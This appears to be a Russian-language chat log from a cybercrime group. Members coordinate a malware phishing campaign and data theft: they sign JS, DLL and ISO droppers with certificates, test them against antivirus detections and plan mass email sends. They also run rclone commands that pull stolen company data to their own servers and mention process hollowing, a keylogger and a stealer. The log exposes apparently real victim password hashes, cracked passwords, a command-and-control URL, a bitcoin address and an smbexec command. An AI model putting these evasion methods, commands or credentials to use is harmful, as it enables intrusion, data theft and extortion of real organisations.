но старым сертом

для исо js подписываю

так, через что их подписывать

через certutil?

-----

бро

если я скину валидатор под тимс

можешь ченуть базу небольшую, мне нужно создать запас

https://www.ssl.com/guide/esigner-codesigntool-command-guide/

те что я собираю , не хватает

хочу настроить отправки нон стоп

Это евшки, верно?

у кого берешь, спроси есть вариант командой это подписывать?

да

и как?

вручную?)

100 файлов как я подпишу вручную

целый день займет

один запуск есть из швейцарии

условно я собираю 400 компанию из них штук 50-70 подойдет под отпраку..

а что за ошибка у лапы?

22 подписалось

лапа написал

жду JS

от него и длку от тебя

и делаю .iso

фуз

фух

нет

жду

как подпишется

91 уже подписалась

подписывается не моментально же

выдал уже

дллки только еще новой нет

да, он уже скинул

сейчас скину чекер

час примерно подпилить

ты мог бы какую-то не большую часть своей базы чекнуть на валидные тимсы

> <@usernamegg:matrix.bestflowers247.online> [21:15:34] YD - SMTP логи : YD2810: https://file.io/Ft8XzDtutNjI

мы их прошлем

я сделаю чекер и расходники под него отдам

тебе нужно будет только поставиткатьсяь че

* тебе нужно будет только поставить чекаться

dr011.bin

крипта еще нет?

аааа

понял

не увидел

+

а размножить можно?

да, принял

щас попробую

отпишу

1.7z

Готово. 2 сборки. Строка:

snauidh718iuaksd

> <@usernamegg:matrix.bestflowers247.online> ++

выдал мелкору, но нужна строка для размножения

+

))

а я забыл сказать)

неверная строка

не размножает

`run trmm-test-testtecom-server-amd64.exe --nomesh --silent`

> <@usernamegg:matrix.bestflowers247.online> неверная строка

+

выдал все мелкору

жду

исо от него

POWELL_DS

только длки получил размноженые

от лапы

щас запускаю

вот скачал только точнее

получил раньше

ну кстати есть 5 запусков

ток вроде не стукнули

HERRMANN

html c исо весит 4мб

капец

нет

у меня спалило исо

на дллку заорало

ща попробуем еще подписать дллку

ведь в буррито не подписаные

но я даже хз

как такое слать

вообще еле уходить будет

такой размер из-за размера исо

ну мы такой размер не прошлем нормально

можно попробывать исо в зип прослать атачем тогда

image.png

да

ща проверю

чисто

подписывать значить нужно

ток ошибка запуска

буррито может побил

ща проверю

>rundll32 sign_br.dll,Crash ну такой точки входа нет

может поменяли точку входа

буррито видимо точку входа поменял

ну не запускается

не подходит

сросите у буррито какой запуск

www.herrmannultraschall.com

+

ну по названию вроде как пикабот это

это от бена?

есть такой функционал, но сам забыл как настроить, проверю

окей

нужно нажать на пустое место, где будет картинка, потом в редакторе на иконку img и upload image

да

2

форматирование

хз, сам формат я не знаю, это либо Bold жирный, либо курсив

read more можешь для предпросмотра жать

так

да

> <@usernamegg:matrix.bestflowers247.online> Public ftp link:

> <@usernameyy:matrix.bestflowers247.online> ```

место ща проверю

```

9_2 места много, остальные заполнены, у нас есть еще фтп 9_4, но он не введенн, могу сегодня донастроить

dr222.zip

строка sfvdfbgfnbhtegergg43g43g

ну зип + исо не инбоксят в атлук

капец запутано написал)

если будет грузить CC пусть заходит на основной

html инбоксят

он же надежный

но сейчас там вообще наверное будет весить 5мб

там быстрее просто

html

зип + исо вообще даже в спам не попадают

и ехе и длл дроппер в общем. я с ехе напутал

я щас бена уже делаю

бена чисто

и норм

я делаю .iso с ним

пару минут

ок поставлю остальное, в прошлый раз ен ставил

щас с 9_4 разберусь, тут осталось только диск замаунтить

ну вот жду как выдаст исо

еще и время норм займет собрать

потому что там обфускация будет оч долгой

для html

ок

HERRMANN_BLOGG.zip

но я думаю 100к даже не прошлем)

```

но все равно попсмотрим как будет

6y2qjrzzt4inluxzygdfxccym5qjy2ltyae7vnxtoyeotfg3ljwqtaid.onion

```

обновленный сохрани

я оказывается перепутал ftp3 и ftp4 в прошлый раз. хорошо, что там заполнено и никто не грузит

> <@usernamegg:matrix.bestflowers247.online> что изменил ?

> <@usernamegg:matrix.bestflowers247.online> cейчас попробую выгрузить дату по VOLEX.COM

поставил на выкачкую остальное

```

вот команда если что

на главном сервере ее запускаю

в screen не забудь еще зайти перед этим

на тот фтп где дата можно ничего не ставить (но можно и оттуда сделать, просто там почему то debian 9 оказался)

подойдет

/data/www ты просто напрямую подключился

если через прокладку то ты сразу в этой папке, гайд рассчитан на адвертов

верно

Cecile_T::GROUPE-GSA:1122334455667788:4923193d03e60eb1dfd023dfaf9704bc:010100000000000063760385bb0cda0141068bc5df1619fb0000000008003000300000000000000000000000002000008ead90f455c7b1584bbf6a0cec802edde60516b7a064c094c759d318f09d3e540a0010000000000000000000000000000000000009002600470052004f005500500045002d004700530041005c0043006500630069006c0065005f0054000000000000000000

зайди через ремину по ssh лучше

```

```

> <@usernameyy:matrix.bestflowers247.online> ```

```

вот пароль я достал

а. ну можешь его взять

```

вот я сгенерировал

```

вот так тогда будет, ты этот конфиг в файл ftp7.conf закинь

да

svc6.conf

без этого он не поймет где конфиг брать

давай, удачи)

с которой будешь rclone запускать

случайное число

по дефолту это ~/ftp7.conf

GROUPE-GSA.LOCAL/gerard:f385086f2b4ebcf443726d7bae0f9f8f:gerard

gsa*12345

f385086f2b4ebcf443726d7bae0f9f8f:gerard75

нет, ни в коем случае

иначе он в паблик попадет

закинь его в ~/ftp7.conf

> <@usernameboy:matrix.bestflowers247.online> f385086f2b4ebcf443726d7bae0f9f8f:gerard75

stop my all

thx

на ftp7&

там для загрузки с прокладкой

можешь его взять и айпи прокладки заменить на айпи сервера

ты не туда его подлил

надо на ftp9_4

теперь верно

дальше заходим в скрин

> <@usernamegg:matrix.bestflowers247.online> что то у меня с интрнетом еще происходит

> <@usernamegg:matrix.bestflowers247.online> что то у меня с интрнетом еще происходит

* \+

> <@usernamegg:matrix.bestflowers247.online> `rclone --progress --config ftp7.conf --transfers=40 copy ftp7:/home/data/www/VOLEX/ /data/www/bhMfjSWvLCxuF82EYtR37Xy5GKBqdnVJw49AQmZe`

оставь так

там скорость маленькая

запускай

что-то у меня палит исо его

я прям всю цеполку првоерил от инбокса на актулке

открывают хтмл

скачиваниет исо и палит его

он еще свой хтмл сделает

проверию

> <@usernameyy:matrix.bestflowers247.online> ```

я поменял задержку

пиздец какой-то

Trojan:Script/Sabsik.FL.A!ml

при запуске js

ну подписан старым сертом

и сабсик на исо

короч думаю что-то с исо

> <@usernamegg:matrix.bestflowers247.online> новым не смог ?

ща его хтмл проверю еще

а я дурак

apt install rclone

))

да

всё норм

чтобы выйти из скрина shift+a+d

да конечно это минут 30 на настройку

нет

щас

корочу его исо палит

даже с его хтмл проверил

`bc1qk90npl3gd2ugp0z8cdctzmggx8u8kf7724h7zs`

нет такого функционала всё таки, ща допишу

мы не сможем скрыть историю кстати

он же будет айди знать

зайдет через чат и прочитает

какие мысли по этому поводу?

мы выкачиваем на текущий сервер, поэтому айпи текущего указывать не надо

нет, в команде указан первый путь ftp7:/path это значит "выкачать с ftp7" а во втором пути нет этого указания это значит "оставить на текущем сервере

да

попробывали исо без серта

+

видимо не нравится дллка что лежит в исо

второй раз скачал

из 5 проверок, 1 раз спалило

> <@usernameyy:matrix.bestflowers247.online> зайдет через чат и прочитает

3.1мб весит исо

для них будет отображаться другой айди, ты его будешь давать и он сможет редактировать

может тогда без сертов прошлем?

там будет аж два окна конечно для подтверждения

> <@usernamegg:matrix.bestflowers247.online> может просто сделать так что бы он не видел Id?

можно так

а нет

он априори присылается, это уникальный идентификатор

ладно

я что нибудь придумаю щас

html весит 4.4мб

всё равно нужен уникальный идентификатор, потому что в бд надо идентифицровать запись

фейк айди по любому будет

ну они не будут его видеть, ты будешь тайтл выдавать как предлагаешь

фейк айди будет скрытыми для меня, просто он будет

еще проверил

Program:Win32/Wacapew.C!ml

C:\Users\Administrator\Downloads\tobr.iso->Corp991.dll

да

даже перезапустил дедик

а так инбксит html

правда весит 5мб считай

палит короч

во еще раз проверил

я думаю не стоит все ж

может тогда все же js с линком собрать ?

иначего нечего слать

все же мы старый слали js по европе

Error: hash needs to be scanned first before submitting for signing: l3WzgwsvjICEabC4+mJCu6ykpe39kaSxD/w+YtqvZ5I=

такая ошибка

> <@usernamegg:matrix.bestflowers247.online> давай с новыми линками соберем js

собираю

> <@usernamegg:matrix.bestflowers247.online> отличная работа

23bed8fa56b45ab14e925c8f41f06700

сейчас позовем

XX тут

ау

TrojanDownloader:Win32/Nemucod!ml

js которое с линками

хорошо, доем попробую сделать

да, щас я пофишку

та мы же долбаилсь целый день с iso

чтобы нормально его прослать

+

в итоге вернулись к JS с линками

дохера времени в пустую по факту потратили

щас почищу

отпишу

в .iso проблема в палеве длки

вот тупо на нее детект дает и все

и хер что сделаешь с этим

а в js вот щас скинул

просто видимо длка при MOTW начинает палится

потому что я то ее скачиваю через curl в JS

поэтому и чисто при запуске ее

а там она скачивается с инета именно через браузер, и браузер вешает на нее MOTW

щас лапе новые скинул

чисто по авчеку полностью

жду пока проверит

+

Login: WALLnFORTUNE

у нас такой серт был

он у меня не работает

это он наверное про серты

которые не крутые

> <@usernamegg:matrix.bestflowers247.online> ```

wall & fortune (london) limited вот этот от dll.com не пашет у меня

```

вот

`python3 smbexec.py test.local/john:password123@10.10.10.1`

```

++

оо

ща проверю

`ftp_white6:/3/UCH`

отлично

работает

подписываю новым сертом

все ок

подписывается

сейчас

BENTLEYGROUP_BLOGG.zip

Trojan:Script/Sabsik.FL.A!ml

тут пока еще не понятно почему палит все же

уже даже новым сертом подписал

а по REKORD зачем только сегодня их поставили?

4 чистых есть

еще проверю

и тогда запустимся

ага, щас дам

8 файлов проверил

все чисто сейчас

он мне выдал 100 штук

8 я вручную проверил

прямо с инбокса

аутлуковского

запустимся в общем

посмотрим

http://5.182.86.71/cms/view.php

да, уже 100 гб добавилось

написано что у теб нет конфига ftp6

скинь cat rclone6.conf

скинь cat

там другое название именно скорее всего

файл то верно указан

```

вместо ftp6: поставь ftp_white6:

запустил канаду

пожалуйста

ftp_white6:/2/REH/

потому что для фтп домашняя директория /data/www

да

там был sftp

я настраивал

а этот не мой конфиг)

😎 пожалуйста

ну CC знает эту фичу

NFy1xjWkR

https://i1ovfbpnlgg0hjks.tech/9568c16f-b420-43dc-8a59-f3500b0628fe/bot/21280

вот на этом боте вижу много задач зафейленых есть

сгрузите его через process hollow

ну или прооцесс поменяйте

NICECLOUD - точне бро, я там выкачал 19 трастов/огранизаций

> <@usernamegg:matrix.bestflowers247.online> сломались кнопки

-----

сделал чекер но за ним надо следить

только что вот ими польовался

доработаем до автомата и тогда скину

а то гемор будет лишний тебе

+ нашел таргеты старые сейчас по нововй схему попробуем прогнать

+++

+++

> <@usernamegg:matrix.bestflowers247.online> ты договорился по счет стиллера ?

щас вот буду заниматься

можно

просто юзеры будут скачивать неполные файлы

нежелательно короче

4 на 15 тб

еще 15 тб осталось

> <@usernamegg:matrix.bestflowers247.online> это абхазия

я сам еще не проснулся, полусонный

сосед опять сверлит

> <@usernamegg:matrix.bestflowers247.online> ты наверно нам кофейманией объелся да ?_

))

щас скачаю кейлогер

проверю все

отпишу

+

2822656 8 \ 5 \ 3 \ 62%

8

да, вот щас это делаюб

щас сгружаю. на т ест машину

да, прочитал инструкцию

100k ушло

но запуски не идут

до сих пор 8 запусков

o9qjfA39u

2 запуска еще есть

скоро проверю чисто ли

html уже палит

да он рандомится

мелкора попрошу еще сгенерить

1. ЗАпустил из под бота, инжекты были успешные, но сам кейлогер не запустился, и даже без ошибки просто завершился

ну да, кароче стука нет, нихера нет, я пошел вам делать HTML свои, а то лапа написал, что ваши палит

пару минут

ага, пришел стук, но я так понял инстуркция старая оченьь

потому что работает от главного процесса

кажется я пока сам почистил

поменял обфускацию

но уже вакатак на js

от мелкора

просто еще подписанные рандобить нельзя

подпись сбивается

хм

скачал

и при открытии js

предупреждение

окошко это

вылетело

может блин уже и серт новый отозвали

быстро конечно

не знаю

но там написано название серта

но почему-то окошко с предупреждение показалось у меня

я уже думаю может без серта прослать

так как у меня html может рандомить js хотябы для каждой выдачи

еще раз проверил

все чисто

ща еще раз проверю

и запущу

прошлю еще 100к

aTv4zHjEH

та я вот щас дал лапе еще новые

та как лучше сделать

я еще сегодня им не писал

где?

бля обфускатор что-то уже перестал работать

ладно

мелкор выдал

потом буду разбираться

его html проверю

1. это редкость

у мелкора орнуло на хтмл уже

kJ7LRAjWtp642uB9.zip

pass: e2Fc3fuThGSa4x8W

исправил у себя

скоро сгенерб

---

https://file.io/zxvi2gYJgNim

* ```

> <@usernamegg:matrix.bestflowers247.online> sent an image.

я посмотрю в чем может быть дело и отпишу позже

палит все равно

мелкор тоже чистит

```

> <@usernamegg:matrix.bestflowers247.online> Какой бот? А куда ты его инжектиш?

щас, надо вам собрать новые html

а то лапа думал, что посчистил, но у него опять начало палить

пару минут

> <@usernamegg:matrix.bestflowers247.online> sent an image.

скоро дам dll ему

спроси, там точка входа есть у этой длке какая то?

или мне на entry point кидать его?

короч бред

вроде как почистил

но уже орет вакатаком на js из html

image.png

короч через раз видимо

все, сгенерю и прошлю

может кодер первую колонку поменьше сделать? приходиться уменьшать масшатаб с 100% до 60%, становится все мелко и нечитабельно

* может кодер первую колонку поменьше сделать? приходиться уменьшать масшатаб с 100% до 60%, чтобы все колонки поместились, становится все мелко и нечитабельно

4cea8bf394061a191b27ed4ef096f902 нашел coh!ant1

у кого нет

это защита от антиддос потому что

много картинок грузите

image.png

лимит должен быть 10 картинок на страницу (по одной на превью)

я сделал защиту на 30 запросов одновременно

zip + js?

ок, тогда так

сек, проверю

окей, сделаю

https://www.virustotal.com/gui/file/63b3d18919359d1e4d0bd8b325d71bd3d72d6d0c10e84659b188a53a4948792e/detection

именно 2 черта выделится решиил

симантек и деф

запустил

но деф все

палит уже js мелкора

198b16b3c9f39ca68a6af836ec8cae14 нашел Dba@ant124!

```

ладно, 100к прошлю

может без дефа что придет

скоро скажу ему

могу, он чистый был

он просто очень быстро грязнится

вот щас новые будут

да, знаю

реверсеров помечаю

в айпике

https://learn.microsoft.com/ru-ru/defender-for-identity/security-assessment-unconstrained-kerberos

Почитать и желательно с большой буквы и прописью!

_**Вникнуть**_

Это не мануал как ебать, это документация от мелкософта

https://avcheck.net/id/P1WlYEmHXLJF

он там не так выдал

js формата у файлов нет

не могу подписать из-за этого

я думаю деф спалит быстро все

они научились уже быстро палить

не знаю

я вот только ж запустил

20 минут

и палит уже

та понял

думал не важно это

щас скину новые

минуты 2-3

делаются уже

у них же все передается

деф же семплы отвправляет

---

```

https://vk.com/@thntofff-ataki-na-active-directory-razbiraem-aktualnye-metody-povyshe

mbU9ytAsb

палит

палит js новые

ну хорошо

прошлю

но у предыдущих js такой же дедект был

скорее не оч почистил мелкор

пишет, что снимет этот дедект

щаща

смотрю че там

выдает 404

да, надо новый стаб полностью делать

```